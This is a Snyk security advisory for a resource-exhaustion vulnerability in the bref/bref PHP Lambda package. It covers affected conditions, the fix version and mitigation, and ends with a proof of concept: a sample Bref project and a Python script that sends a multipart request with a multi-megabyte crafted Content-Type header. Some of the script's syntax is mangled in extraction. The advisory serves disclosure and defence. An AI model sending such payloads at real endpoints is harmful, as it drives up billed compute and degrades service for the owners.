Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Uncontrolled Resource Consumption ('Resource Exhaustion') vulnerabilities in an interactive lesson.
Start learningUpgrade bref/bref
to version 2.1.17 or higher.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the process of converting Lambda events to PSR7 objects when handling MultiPart requests. Specifically, the parsing of the Content-Type
header in each part of the request, utilizing the mb_convert_encoding
function, can lead to prolonged execution times. An attacker could exploit this by sending specially crafted requests, resulting in increased processing time and potentially higher costs due to extended billed durations.
Note
This is only exploitable if the Lambda uses the Event-Driven Function runtime with a RequestHandlerInterface
handler and accepts POST requests.
The impact is more significant on Lambdas running PHP runtime versions up to PHP-82, where the billed duration could exceed 900ms per request.
Notice that the vulnerability applies only to headers read from the request body, as the request header has a limitation that allows a total maximum size of ~10KB.
Perform an additional validation on the headers parsed via the StreamedPart::parseHeaderContent function to allow only legitimate headers with a reasonable length.
Create a new Bref project
index.php
:
<?php
namespace App;
require DIR . '/vendor/autoload.php';
use Nyholm\Psr7\Response; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use Psr\Http\Server\RequestHandlerInterface;
class MyHttpHandler implements RequestHandlerInterface { public function handle(ServerRequestInterface $request): ResponseInterface { return new Response(200, [], "OK"); } }
return new MyHttpHandler();
serverless.yml
to deploy the Lambda:service: app
provider: name: aws region: eu-central-1
plugins: - ./vendor/bref/bref
Exclude files from deployment
package: patterns: - '!node_modules/' - '!tests/'
functions: api: handler: index.php runtime: php-83 events: - httpApi: 'ANY /endpoint'
python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com
):from requests import post from sys import argv
if len(argv) != 2: print(f"Usage: {argv[0]} <domain>") exit()
url = f"https://{argv[1]}/endpoint" headers = {"Content-Type": "multipart/form-data; boundary=a"} data_normal = f"--a\r\nContent-Disposition: form-data; name="0"\r\n\r\nContent-Type: ;=auto''{('a'(4717792))}'\r\n--a--\r\n" data_malicious = f"--a\r\nContent-Disposition: form-data; name="0"\r\nContent-Type: ;=auto''{('a'(4717792))}'\r\n\r\n\r\n--a--\r\n"
print("[+] Sending normal request") post(url, headers=headers, data=data_normal)
print("[+] Sending malicious request") post(url, headers=headers, data=data_malicious)
Content-Type
header, used more than 400ms of billed duration.